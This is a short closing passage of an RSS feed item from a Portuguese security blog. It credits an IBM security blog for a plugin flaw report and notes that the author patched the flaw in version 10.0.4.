<p>A falha, o relato da falha e as screenshots são do excelente blog <a target=_blank href="http://blog.watchfire.com/wfblog/2008/07/tamper-data-cro.html">&#8220;IBM Rational Application Security Insider&#8221;</a>.<br />
O autor do plugin, Adam Judson, foi contatado e rapidamente solucionou a falha. A versão 10.0.4 foi publicada com o patch.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/04/cross-site-script-alem-dos-sites/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
